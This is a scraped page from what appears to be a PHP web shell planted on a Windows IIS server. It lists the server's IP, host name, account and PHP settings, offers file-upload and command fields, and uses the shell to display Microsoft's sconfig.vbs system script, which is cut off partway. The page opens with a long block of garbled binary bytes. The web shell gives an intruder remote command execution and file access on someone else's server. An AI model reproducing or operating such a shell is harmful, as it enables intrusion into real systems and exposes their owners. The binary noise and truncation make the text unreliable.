ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw��k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ�����mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e���R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1�[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN���ĕ���0������� !01@Q"2AaPq3BR�������?�����@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j��ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^����ԯ̾9Z��F��������n��1��� ��]�[��)�'�������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ���&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0���;_���3������� !01"@AQa2Pq#3BR�������?����ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q�� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�����������4B>��o��](��$B���m�����a�!=���?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{�E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)�����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a��84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b���$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7���k�� 403WebShell
403Webshell
Server IP : 103.30.72.248  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-CARKG80MF9A 10.0 build 17763 (Windows Server 2019) AMD64
User : IUSR ( 0)
PHP Version : 8.2.7
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/System32/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Windows/System32/en-US//sconfig.vbs
��'-------------------------------------------

' Copyright (c) Microsoft Corporation. All rights reserved.

'

' Version 2.0

' sconfig.vbs - Configuration script used to setup a machine for remote configuration

'

'-------------------------------------------



const L_Msg001_Text		= "No IP address"

const L_Msg002_Text		= "   No IP   "

const L_Msg003_Text		= "No active network adapters found."

const L_Msg004_Text		= "Warning"

const L_Msg005_Text		= "                         Server Configuration"

const L_Msg006_Text		= "1) Domain/Workgroup:			"

const L_Msg007_Text		= "2) Computer Name:			"

const L_Msg008_Text		= "3) Add Local Administrator"

const L_Msg009_Text		= "8) Network Settings"

const L_Msg010_Text		= "5) Windows Update Settings:		"

const L_Msg011_Text		= "6) Download and Install Updates 	"

const L_Msg012_Text		= "7) Remote Desktop:			"

const L_Msg013_Text		= "Selection:"  

const L_Msg014_Text		= "9) Date and Time" 

const L_Msg015_Text		= ") Log Off User"

const L_Msg016_Text		= ") Restart Server"

const L_Msg017_Text 	= ") Shut Down Server" 

const L_Msg018_Text 	= ") Exit to Command Line"

const L_Msg019_Text		= "Enter number to select an option: "

const L_Msg020_Text		= "Change Domain/Workgroup Membership"

const L_Msg021_Text		= "Join (D)omain or (W)orkgroup? (Blank=Cancel) "

const L_Msg022_Text		= "Domain"

const L_Msg023_Text		= "Workgroup"

const L_Msg024_Text		= "Machine currently joined to a domain."

const L_Msg025_Text		= "Do you want to remove this computer from the current domain now?"

const L_Msg026_Text		= "Specify an authorized domain\user:  "

const L_Msg027_Text		= "Removing computer from current domain..."

const L_Msg028_Text		= "You must restart your computer to apply these changes."

const L_Msg029_Text		= "Restart now?"

const L_Msg030_Text		= "Restart"

const L_Msg031_Text		= "Specify domain\user:  "

const L_Msg032_Text		= "Join Domain"

const L_Msg033_Text		= "Enter new computer name (Blank=Cancel): "

const L_Msg034_Text		= "Computer Name"

const L_Msg035_Text		= "Changing Computer name..."

const L_Msg036_Text		= "Enter account to join local Administrators group (Blank=Cancel): "

const L_Msg037_Text		= "Adding to local Administrators group..."

const L_Msg038_Text		= "Local Administrators Group"	

const L_Msg039_Text		= "User added to local Administrators group."

const L_Msg040_Text		= "Output"

const L_Msg043_Text		= "Windows Update currently set to: "

const L_Msg044_Text		= "Select (A)utomatic, (D)ownloadOnly or (M)anual updates: "

const L_Msg045_Text		= "Automatic"

const L_Msg046_Text		= "System will check for and install updates every day at 3:00 AM." 

const L_Msg047_Text		= "Enabling Automatic updates..."

const L_Msg048_Text		= "Manual"

const L_Msg049_Text		= "System will never check for updates."

const L_Msg050_Text		= "Setting updates to Manual..."

const L_Msg051_Text		= "Windows Update set to "

const L_Msg052_Text		= "Update Settings"

const L_Msg053_Text		= "(E)nable or (D)isable Remote Desktop? (Blank=Cancel) "

const L_Msg054_Text		= "1) Allow only clients running Remote Desktop with Network Level Authentication (more secure)"

const L_Msg055_Text		= "2) Allow clients running any version of Remote Desktop (less secure)"

const L_Msg056_Text		= "Enter selection: "

const L_Msg057_Text		= "Enabling Remote Desktop..."

const L_Msg058_Text		= "Remote Desktop enabled for clients running any version of Remote Desktop (less secure)."

const L_Msg059_Text		= "Remote Desktop"

const L_Msg060_Text		= "Remote Desktop enabled for clients only running Remote Desktop with Network Level Authentication (more secure)."

const L_Msg061_Text		= "Failed to disable Remote Desktop."

const L_Msg062_Text		= "Disabling Remote Desktop..."

const L_Msg063_Text		= "Remote Desktop disabled."

const L_Msg064_Text		= "Are you sure you want to log off?"

const L_Msg065_Text		= "Log Off"

const L_Msg066_Text		= "Are you sure you want to restart?"

const L_Msg067_Text		= "Are you sure you want to shut down?"

const L_Msg068_Text		= "Shut Down"

const L_Msg069_Text		= "Enabled (all clients)"

const L_Msg070_Text		= "Enabled (more secure clients only)"

const L_Msg071_Text		= "Disabled"

const L_Msg072_Text		= "--------------------------------" 

const L_Msg073_Text		= "    Network settings"

const L_Msg074_Text		= "Available Network Adapters"

const L_Msg075_Text		= "Index#	IP address	Description"

const L_Msg076_Text		= "Select Network Adapter Index# (Blank=Cancel):  "

const L_Msg077_Text		= "    Network Adapter Settings" 

const L_Msg078_Text		= "NIC Index"

const L_Msg079_Text		= "Description"

const L_Msg080_Text		= "IP Address" 

const L_Msg081_Text		= "DHCP enabled"

const L_Msg082_Text		= "Preferred DNS Server"

const L_Msg083_Text		= "Alternate DNS Server"

const L_Msg084_Text		= "1) Set Network Adapter Address" 	

const L_Msg085_Text		= "2) Set DNS Servers"

const L_Msg086_Text		= "3) Clear DNS Server Settings"

const L_Msg087_Text		= "4) Return to Main Menu"

const L_Msg088_Text		= "Select option:  "

const L_Msg089_Text		= "Select (D)HCP, (S)tatic IP (Blank=Cancel): "

const L_Msg090_Text		= "Set Static IP"

const L_Msg091_Text		= "Enter static IP address: "

const L_Msg092_Text		= "Enter subnet mask (Blank = Default "

const L_Msg093_Text		= "): "

const L_Msg094_Text		= "Enter default gateway: "

const L_Msg095_Text		= "Setting NIC to static IP..." 

const L_Msg096_Text		= "The IP address could not be changed."

const L_Msg097_Text		= "Network Settings"

const L_Msg098_Text		= "Setting NIC to use DHCP..."

const L_Msg099_Text		= "DNS Servers"

const L_Msg100_Text		= "Enter new preferred DNS server (Blank=Cancel): "

const L_Msg101_Text		= "Preferred DNS server set."

const L_Msg102_Text		= "Enter alternate DNS server (Blank = none): "

const L_Msg103_Text		= "Alternate DNS server set."

const L_Msg104_Text		= "Alternate DNS server could not be set."

const L_Msg105_Text		= "Preferred DNS server could not be set."

const L_Msg106_Text		= "DNS servers removed. DNS servers will be automatically obtained from network."

const L_Msg107_Text		= "DNS servers could not be deleted."

const L_Msg108_Text		= "Failed to join workgroup"

const L_Msg109_Text		= "Welcome to workgroup: "

const L_Msg110_Text		= "Participating"

const L_Msg111_Text		= "Inspecting system..."

const L_Msg112_Text		= "Please specify a valid IP address."

const L_Msg113_Text		= "IP addresses with 127 are not valid because they are reserved for loopback addresses. Please specify some other valid value between 1 and 223."

const L_Msg114_Text		= "Access is denied."

const L_Msg115_Text		= "The parameter is incorrect."

const L_Msg116_Text		= "The system cannot open the specified object."

const L_Msg117_Text		= "Unable to update the password."

const L_Msg118_Text 	= "Logon failure: unknown username or password."

const L_Msg119_Text		= "The specified domain either does not exist or could not be contacted."

const L_Msg120_Text		= "The account already exists."

const L_Msg121_Text		= "The machine is already joined to the domain."

const L_Msg122_Text		= "The machine is not currently joined to a domain."

const L_Msg123_Text		= "Failed to join domain."

const L_Msg124_Text		= "Name of domain to join:  "

const L_Msg125_Text		= "Name of workgroup to join:  "

const L_Msg126_Text 		= "Joining "

const L_Msg127_Text 		= "..."

const L_Msg128_Text		= "==============================================================================="

const L_Msg129_Text		= "E"	'(E)nable

const L_Msg130_Text		= "D"	'(D)isable

const L_Msg131_Text		= "S"	'(S)tatic IP

const L_Msg132_Text		= "D" 	'(D)HCP

const L_Msg133_Text		= "W"	'(W)orkgroup

const L_Msg134_Text		= "D" 	'(D)omain

const L_Msg135_Text		= "In a domain environment, specify domain\username."

const L_Msg136_Text		= "In a workgroup environment, specify username."

const L_Msg137_Text		= "M"	'Manual

const L_Msg138_Text		= "A"	'Automatic

const L_Msg139_Text		= "Subnet Mask"

const L_Msg140_Text		= "Default Gateway"

const L_Msg141_Text		= "This option will enable the server graphical user interface shell and require a reboot."

const L_Msg142_Text		= "12) Restore Graphical User Interface (GUI)"

const L_Msg143_Text		= "11) Windows Activation             "

const L_Msg144_Text		= "Type SCONFIG to display this menu."

const L_Msg145_Text		= "Enabled"

const L_Msg146_Text		= "Disabled"

const L_Msg149_Text		= "Confirm"

const L_Msg150_Text		= "1) Display License info"

const L_Msg151_Text		= "2) Activate Windows"

const L_Msg153_Text		= "3) Install Product key" 

const L_Msg155_Text		= "4) Return to main menu" 

const L_Msg156_Text		= "4) Configure Remote Management          "

const L_Msg157_Text 	= "1) Enable Remote Management"

const L_Msg158_Text		= "2) Disable Remote Management"

const L_Msg161_Text		= "4) Return to main menu"

const L_Msg165_Text		= "Failed to reconfigure Windows Firewall."

const L_Msg166_Text		= "Remote Management blocked for all Windows Firewall profiles."

const L_Msg167_Text		= "Do you want to change the computer name before restarting the computer?"		

const L_Msg168_Text		= "Change computer name"

const L_Msg172_Text		= "Press Enter to continue..."

const L_Msg175_Text		= "Failure"

const L_Msg179_Text		= "  Configure Remote Management"

const L_Msg186_Text		= "IPv6 Address"

const L_Msg187_Text		= "IPv6 Gateway"

const L_Msg188_Text		= "3) Configure Server Response to Ping"

const L_Msg189_Text		= "Allow remote machines to Ping this server?"

const L_Msg190_Text		= "Successfully configured to allow Ping"

const L_Msg191_Text		= "Successfully configured to disallow Ping"

const L_Msg193_Text		= "Help improve Windows Server! When Telemetry is configured, Windows will periodically collect and upload statistical information about your system to Microsoft. The information collected is not used to identify or contact you or your company."

const L_Msg194_Text		= "If you decide to use imaging technology on this server to build other servers, those servers will have the same Telemetry settings."

const L_Msg195_Text		= "For more information, please visit https://go.microsoft.com/fwlink/?LinkId=811315"

const L_Msg196_Text		= "For Windows privacy information, please visit https://go.microsoft.com/fwlink/?LinkId=734730"

const L_Msg197_Text		= "10) Telemetry settings                  "

const L_Msg198_Text		= "Not participating"

const L_Msg199_Text		= "Change Telemetry settings?"

const L_Msg200_Text		= "Telemetry"

const L_Msg201_Text		= " -- Windows Activation --"

const L_Msg202_Text		= "Telemetry settings are managed by system administrator and cannot be modified."

const L_Msg203_Text		= "Failed to enable Remote Desktop."

const L_Msg204_Text     = "Enabling Remote Management..."

const L_Msg205_Text     = "Disabling Remote Management..."

const L_Msg206_Text     = "Successfully enabled Remote Management"

const L_Msg207_Text     = "Failed to enable Remote Management"

const L_Msg208_Text     = "Successfully disabled Remote Management"

const L_Msg209_Text     = "Failed to disable Remote Management"

const L_Msg210_Text     = "Current Status: Remote Management is enabled"

const L_Msg211_Text     = "Current Status: Remote Management is disabled"

const L_Msg212_Text     = "Failed to retrieve Remote Management settings"

const L_Msg213_Text     = "Remote Management settings are managed by system administrator and cannot be be modified."

const L_Msg214_Text     = "Enable Graphical User Interface"

const L_Msg215_Text     = "Unknown"

const L_Msg216_Text     = "Enter Product Key"

const L_Msg217_Text		= "Help improve Microsoft Hyper-V Server! When Telemetry is configured, Windows will periodically collect and upload statistical information about your system to Microsoft. The information collected is not used to identify or contact you or your company."

const L_Msg218_Text		= "For Microsoft Hyper-V Server privacy information, please visit https://go.microsoft.com/fwlink/?LinkId=734730"

const L_Msg219_Text		= "DownloadOnly" ' Windows Update setting string

const L_Msg220_Text		= "Custom" ' Windows Update setting string

const L_Msg221_Text		= "D"	'DownloadOnly

const L_Msg222_Text		= "Enabling DownloadOnly updates..."

const L_Msg223_Text		= "System will check for and download updates." 

const L_Msg224_Text		= "System has custom configuration for updates." 

const L_Msg225_Text		= "Available telemetry settings:" 

const L_Msg226_Text		= "Security" 

const L_Msg227_Text		= "Basic" 

const L_Msg228_Text		= "Enhanced" 

const L_Msg229_Text		= "Full" 

const L_Msg230_Text		= "Enter new telemetry setting (Blank=Cancel): "





const WUA_Script		= "cscript WUA_SearchDownloadInstall.vbs"



const TelemetryCountSettings = 4



Dim CmdResults

Dim pcname

Dim group_type

Dim groupname

Dim InDomain

Dim MgmtNIC

Dim Autopatch

Dim Update_schedule

Dim Update_schedule_descr

Dim updateSelectionSet

Dim objNetAdapter

Dim DNSsetting

Dim DisplayIP

Dim objWshScriptExec

Dim TS_status

Dim HVS_SKU

Dim Telemetry_Status

Dim RemoteManagementStatus





Set oShell = WScript.CreateObject ("WScript.shell")



Set objWMIService = GetObject( "winmgmts:\\.\root\cimv2")



'Force to run with cscript

if Instr(1,Wscript.FullName,"Cscript",vbTextCompare)=0 then

    oShell.Run "cscript " & chr(34) & wscript.ScriptFullName & chr(34)

    wscript.quit

end if



Set oUACExec = oShell.Exec("cmd /c " & chr(34) & "whoami /groups | find " & chr(34) & "S-1-16-12288" & chr(34) & chr(34))



Do While (oUACExec.Status = cnWshRunning)

    WScript.Sleep 100

Loop 



If oUACExec.ExitCode <> 0 Then

    Set objShell = CreateObject("Shell.Application")

    objShell.ShellExecute "cscript", Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1

    wscript.quit

end if



GetInitialStatusValues()



Do



' Get NICs

Set nics = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration where IPenabled=TRUE")

    

' Try to select the first NIC with an active IP		

for each n in nics

    MgmtNIC= n.index

    Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)

    exit for

next	

            

' Deal with case where NICs go away

if MgmtNIC="" then

    'No active NIC

    DisplayIP = L_Msg003_Text

else

    Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)

    

    if objNetAdapter.IPenabled then 

        DisplayIP = objNetAdapter.IPAddress(0)

    else

        'No Active NICs

        DisplayIP = L_Msg003_Text

    end if	

end if



' Get Domain status

InDomain = GetDomainStatus()



' Get Remote Desktop status

CheckRemoteDesktop()



' Get Telemetry status

CheckTelemetrystatus()



'Get Remote Mangement status

CheckRemoteManagementStatus()



wscript.echo 

wscript.echo L_Msg128_Text '======

wscript.echo L_Msg005_Text 'sconfig

wscript.echo L_Msg128_Text '======

wscript.echo

wscript.echo L_Msg006_Text & group_type &":  " & groupname  'domain/workgroup

wscript.echo L_Msg007_Text & pcname		'Computer name

wscript.echo L_Msg008_Text				'Add local admin

wscript.echo L_Msg156_Text & RemoteManagementStatus	'Configure Remote Access

wscript.echo ""



wscript.echo L_Msg010_Text & Update_schedule	'Update settings

wscript.echo L_Msg011_Text	'Download and Install updates

wscript.echo L_Msg012_Text & TS_status	'Remote Desktop

wscript.echo "" 

if MgmtNIC="" then 		' Network settings

    wscript.echo L_Msg009_Text & vbTab & vbTab & vbTab & DisplayIP

else 

    wscript.echo L_Msg009_Text

end if

wscript.echo L_Msg014_Text ' Date and Time

wscript.echo L_Msg197_Text & Telemetry_Status ' Telemetry



if HVS_SKU then 

    offset=0

else

    ' Show Activation and Restore GUI menu items on Server Core

    wscript.echo L_Msg143_Text  ' 11) Windows Activation

    offset=1

end if



wscript.echo ""

wscript.echo cstr(11+offset) & L_Msg015_Text ' Logoff

wscript.echo cstr(12+offset) & L_Msg016_Text ' Restart

wscript.echo cstr(13+offset) & L_Msg017_Text ' Shut Down 

wscript.echo cstr(14+offset) & L_Msg018_Text ' Exit to cmd line

wscript.echo

if HVS_SKU then wscript.echo 



wscript.StdOut.Write L_Msg019_Text       

OptionSelection = Wscript.StdIn.ReadLine   



wscript.echo



Select Case OptionSelection

        

    Case "1"	'Change Domain/workgroup name

    

        wscript.echo

        wscript.echo L_Msg020_Text



        do

          wscript.echo

          wscript.StdOut.Write L_Msg021_Text

          DorW = Wscript.StdIn.ReadLine 

        loop until ucase(DorW)=ucase(L_Msg134_Text) or ucase(DorW)=ucase(L_Msg133_Text) or DorW="" 



        if ucase(DorW)=ucase(L_Msg133_Text) then

            'Join Workgroup

            'If in a domain, we need to remove it first before joining a workgroup

            if InDomain then 

                confirm = msgbox(L_Msg024_Text & vbCRLF & L_Msg025_Text,VBYesNo,L_Msg004_Text) 

                if confirm=vbYes then 

                    wscript.StdOut.Write L_Msg026_Text

                    domainuser = Wscript.StdIn.ReadLine



                    wscript.echo

                    wscript.echo L_Msg027_Text

                    

                    targetstr = "netdom remove %computername% /domain:" & NewGroupName & " /userd:" & domainuser & " /passwordd:*"

                    result= oShell.Run(targetstr,1,TRUE)

                    

                    if result=0 then

                        confirm = msgbox(L_Msg028_Text & vbCRLF & L_Msg029_Text, VBYesNo,L_Msg030_Text)

                        if confirm=vbYes then oShell.Run "shutdown /r /t 0",1

                    else

                        DomainAccessErrorMsg(result)

                    end if		

                end if

            else

                JoinWorkgroup()

            end if

            

         end if

          

         if ucase(DorW)=ucase(L_Msg134_Text) then  

            'Joining Domain

            group_type= L_Msg022_Text



            wscript.echo

            wscript.echo L_Msg032_Text

            

            wscript.StdOut.Write L_Msg124_Text

            NewGroupName = Wscript.StdIn.ReadLine

        

            wscript.StdOut.Write L_Msg026_Text

            domainuser = Wscript.StdIn.ReadLine



            wscript.echo

            wscript.echo L_Msg126_Text & NewGroupName & L_Msg127_Text				

            wscript.echo



            targetstr = "netdom join %computername% /domain:" & NewGroupName & " /userd:" & domainuser & " /passwordd:*"



            result= oShell.Run(targetstr,1,TRUE)



            if result=0 then



                confirm = msgbox(L_Msg167_Text, vbYesNo+vbDefaultButton2,L_Msg168_Text)

                if confirm=vbYes then 

                    ChangeComputerName()

                else

                    confirm = msgbox(L_Msg028_Text & vbCRLF & L_Msg029_Text, VBYesNo,L_Msg030_Text)

                    if confirm=vbYes then oShell.Run "shutdown /r /t 0",1

                end if



            else 

                DomainAccessErrorMsg(result)						

            end if			

                    

          end if





    

    Case "2"	'Change Computer Name

        

        ChangeComputerName()



        

    Case "3"	'Add Account to local admin

    

        wscript.echo L_Msg135_Text

        wscript.echo L_Msg136_Text

        wscript.echo

        wscript.StdOut.Write L_Msg036_Text

        AddUserAcct = Wscript.StdIn.ReadLine

        if AddUserAcct="" then

            'cancel	

        else			

            if not InDomain then 

                'Handle workgroup case by creating account first

                targetstr = "net user " & AddUserAcct & " * /add"

                result= oShell.Run(targetstr,1,TRUE)

                if result<>0 then

                    'Show error message

                    RunShowOutput(targetstr)

                else

                    AddToAdminGroup()

                end if

            else 

                AddToAdminGroup()

            end if

    

    

        end if



    Case "4"	'Configure for remote management

        ConfigureRemoteManagement()	

        

    Case "5"	'Update Settings

    

        wscript.echo L_Msg043_Text & Update_schedule

        wscript.StdOut.Write L_Msg044_Text

        updateselection = Wscript.StdIn.ReadLine

        

        updateSelectionSet = FALSE



        if ucase(updateselection)=ucase(L_Msg138_Text) then

            'Make updates automatic

            wscript.echo

            wscript.echo L_Msg047_Text

            oShell.Run "Cscript %WinDir%\System32\SCregEdit.wsf /AU 4" & NewComputerName,7,TRUE			

            ' Refresh update settings status

            GetUpdateSettings Update_schedule, Update_schedule_descr

            updateSelectionSet = TRUE

        end if

        

        if ucase(updateselection)=ucase(L_Msg221_Text) then

            'Make updates DownloadOnly

            wscript.echo

            wscript.echo L_Msg222_Text

            oShell.Run "Cscript %WinDir%\System32\SCregEdit.wsf /AU 3" & NewComputerName,7,TRUE			

            ' Refresh update settings status

            GetUpdateSettings Update_schedule, Update_schedule_descr

            updateSelectionSet = TRUE

        end if

        

        if ucase(updateselection)=ucase(L_Msg137_Text) then   

            'Make updates manual

            wscript.echo

            wscript.echo L_Msg050_Text

            oShell.Run "Cscript %WinDir%\System32\SCregEdit.wsf /AU 1" & NewComputerName,7,TRUE	

            ' Refresh update settings status

            GetUpdateSettings Update_schedule, Update_schedule_descr

            updateSelectionSet = TRUE

        end if

        

        if updateSelectionSet then 

            oShell.Run "Net stop wuauserv",7,TRUE	

            oShell.Run "Net start wuauserv",7,TRUE	

 

            MsgBox L_Msg051_Text & Update_schedule & ".  " & Update_schedule_descr, vbInformation, L_Msg052_Text

        end if	

    

    Case "6"	'Install Security Patches

    

        'Install all patches on seperate thread

        oShell.Run WUA_Script,1,False



    

    Case "7"    'Enable/disable Remote Desktop

          WScript.Echo

          wscript.StdOut.Write L_Msg053_Text

          rd = Wscript.StdIn.ReadLine



          if ucase(rd)=ucase(L_Msg129_Text) then ' Enable

            do

                wscript.echo

                wscript.echo L_Msg054_Text

                wscript.echo

                wscript.echo L_Msg055_Text

                wscript.echo

                wscript.StdOut.Write L_Msg056_Text

                rdsecuritylevel = Wscript.StdIn.ReadLine

            loop while not (rdsecuritylevel="1" or rdsecuritylevel="2")

            

            wscript.echo

            wscript.echo L_Msg057_Text

           

            'Enable Remote Desktop Admin mode

            result=oShell.Run("Cscript %WinDir%\System32\Scregedit.wsf /ar 0 " & NewComputerName,7,TRUE)

            oShell.Run "Cscript %WinDir%\System32\Scregedit.wsf /cs 1 " & NewComputerName,7,TRUE 	

    

            if result=0 then

                if rdsecuritylevel=2 then 

                    'Allow WinXP and Win 2003 clients

                    oShell.Run "Cscript %WinDir%\System32\Scregedit.wsf /cs 0 " & NewComputerName,7,TRUE

                    msgbox L_Msg058_Text,Information,L_Msg059_Text				

                else

                    msgbox L_Msg060_Text,Information,L_Msg059_Text				

                end if

            else

                msgbox L_Msg203_Text,vbCritical,L_Msg059_Text

            end if				

            

          end if

          

          if ucase(rd)=ucase(L_Msg130_Text) then

            wscript.echo

            wscript.echo L_Msg062_Text

                 

            'Disable Remote Desktop mode

            result=oShell.Run("Cscript %WinDir%\System32\Scregedit.wsf /ar 1 " & NewComputerName,7,TRUE)

            oShell.Run "Cscript %WinDir%\System32\Scregedit.wsf /cs 1 " & NewComputerName,7,TRUE

            

            if result=0 then

                msgbox L_Msg063_Text,vbInformation,L_Msg059_Text

            else

                msgbox L_Msg061_Text,vbCritical,L_Msg059_Text

            end if		

          end if

          

    Case "8"	 'Change Management NIC Assignment

        

        If MgmtNIC<>"" then  

            ManagementNICsettings()

        else

            'Display no active NIC message

            DisplayIP = L_Msg003_Text

        end if

          

    Case "9"	'Set Date and Time

        oShell.Run "control timedate.cpl"	



    Case "10"	'Telemetry

        DisplayTelemetrydialog()

        

    Case "11"	

        if not(HVS_SKU) then 'show Activation menu item	

            ActivateInstall()

        else 'Logoff 

            confirm = msgbox(L_Msg064_Text, vbYesNo+vbDefaultButton2,L_Msg065_Text)

            if confirm=vbYes then 

                oShell.Run "logoff",7,True

            end if		

        end if

        

    Case "12"	

        if not(HVS_SKU) then	'Log Off

            confirm = msgbox(L_Msg064_Text, vbYesNo+vbDefaultButton2,L_Msg065_Text)

            if confirm=vbYes then 

                oShell.Run "logoff",7,True

            end if			

        else ' Restart

            confirm = msgbox(L_Msg066_Text, vbYesNo+vbDefaultButton2,L_Msg030_Text)

            if confirm=vbYes then 

                oShell.Run "shutdown /r /t 0",1	

            end if

        end if			

		

    Case "13"	

        if not(HVS_SKU) then	' Restart

            confirm = msgbox(L_Msg066_Text, vbYesNo+vbDefaultButton2,L_Msg030_Text)

            if confirm=vbYes then oShell.Run "shutdown /r /t 0",1			

        else  'Shut Down

            confirm = msgbox(L_Msg067_Text, vbYesNo+vbDefaultButton2,L_Msg068_Text)

            if confirm=vbYes then oShell.Run "shutdown /s /t 0",1

        end if		

        

    Case "14"

        if not(HVS_SKU) then	'Shut Down

            confirm = msgbox(L_Msg067_Text, vbYesNo+vbDefaultButton2,L_Msg068_Text)

            if confirm=vbYes then oShell.Run "shutdown /s /t 0",1	

        else  'Exit to command line

            wscript.quit

        end if		

        

    Case "15" 	

        if not(HVS_SKU) then	'Exit to command line

            wscript.quit		

        end if						

	



    Case Else

        '



end Select 



Loop  'Loops back to main menu unless exiting 



wscript.quit





sub CheckRemoteDesktop()

 ' True if Remote Desktop enabled

 Dim Sh, sKey, sValueName, sValue, nValue

 Set Sh = CreateObject("WScript.Shell")

 sKey = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\"

 sValueName = "fDenyTSConnections"

 sValue = Sh.RegRead(SKey & sValueName)

 

 if sValue=0 then 

    nValue= Sh.RegRead(sKey & "WinStations\RDP-Tcp\UserAuthentication")

    if nValue = 0 then 

        TS_status= L_Msg069_Text

    else

        TS_status= L_Msg070_Text

    end if

 else

    TS_status= L_Msg071_Text

 end if

 

End sub 



Function LegalNicSelected(pickedNIC)

    LegalNicSelected=False

    For Each nic in nics

        if pickedNIC=CStr(nic.Index) then 

            LegalNicSelected=True

        end if

    Next

end Function



Sub ManagementNICsettings()



    Set nics = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPenabled=TRUE")

    Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)		

        

    wscript.echo 

    wscript.echo L_Msg072_Text 

    wscript.echo L_Msg073_Text 

    wscript.echo L_Msg072_Text

    wscript.echo

    wscript.echo

    wscript.echo L_Msg074_Text 

    wscript.echo	

    wscript.echo L_Msg075_Text

                                

    For Each nic in nics			
